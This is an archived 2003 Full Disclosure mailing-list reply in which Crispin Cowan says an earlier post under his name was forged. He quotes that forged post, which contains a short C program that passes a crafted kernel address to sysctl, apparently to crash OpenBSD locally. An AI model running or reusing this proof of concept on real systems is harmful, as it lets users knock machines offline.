Full Disclosure mailing list archives
Re: OpenBSD kernel panic, yet still O*BSD much worse than MS-DoS 6.0
From: Crispin Cowan <crispin () immunix com>
Date: Wed, 19 Nov 2003 19:55:29 -0800
I don't read full disclosure, but a kind person forwarded this post to me. It is entirely bogus: I did not write it. Note the creative distortions in the cribbed .sig.
If headers are to be believed, the troll posted from 210.0.137.29 which traceroutes into a black hole ... likely an 0wned machine anyway.
Crispin Some troll wrote wrote:
ppl think "hey, local DoS sucks", therefore they are. i think "hey, obsd sucks", therefore i am. #include <stdio.h> #include <sys/param.h> #include <sys/sysctl.h> int main () { unsigned int blah[2] = { CTL_KERN, 0 }, addr = -4096 + 1; return (sysctl (blah, 2, (void *) addr, &blah[1], 0, 0)); } it's wide, it's opened, it's surely obsd! -- Crispin Coward, Ph.D. http://immunix.com/~crispin/ Chief Scientist, Immunix http://immunix.com http://www.immunix.com/tosell/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ----- End forwarded message -----
-- Crispin Cowan, Ph.D. http://immunix.com/~crispin/ Chief Scientist, Immunix http://immunix.com http://www.immunix.com/shop/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- OpenBSD kernel panic, yet still O*BSD much worse than MS-DoS 6.0 crispin (Nov 19)
- Re: OpenBSD kernel panic, yet still O*BSD much worse than MS-DoS 6.0 Chris Ruvolo (Nov 20)
- Re: OpenBSD kernel panic, yet still O*BSD much worse than MS-DoS 6.0 noir (Nov 20)
- <Possible follow-ups>
- Re: OpenBSD kernel panic, yet still O*BSD much worse than MS-DoS 6.0 Crispin Cowan (Nov 19)
- Re: OpenBSD kernel panic, yet still O*BSD much worse than MS-DoS 6.0 Crispin Cowan (Nov 20)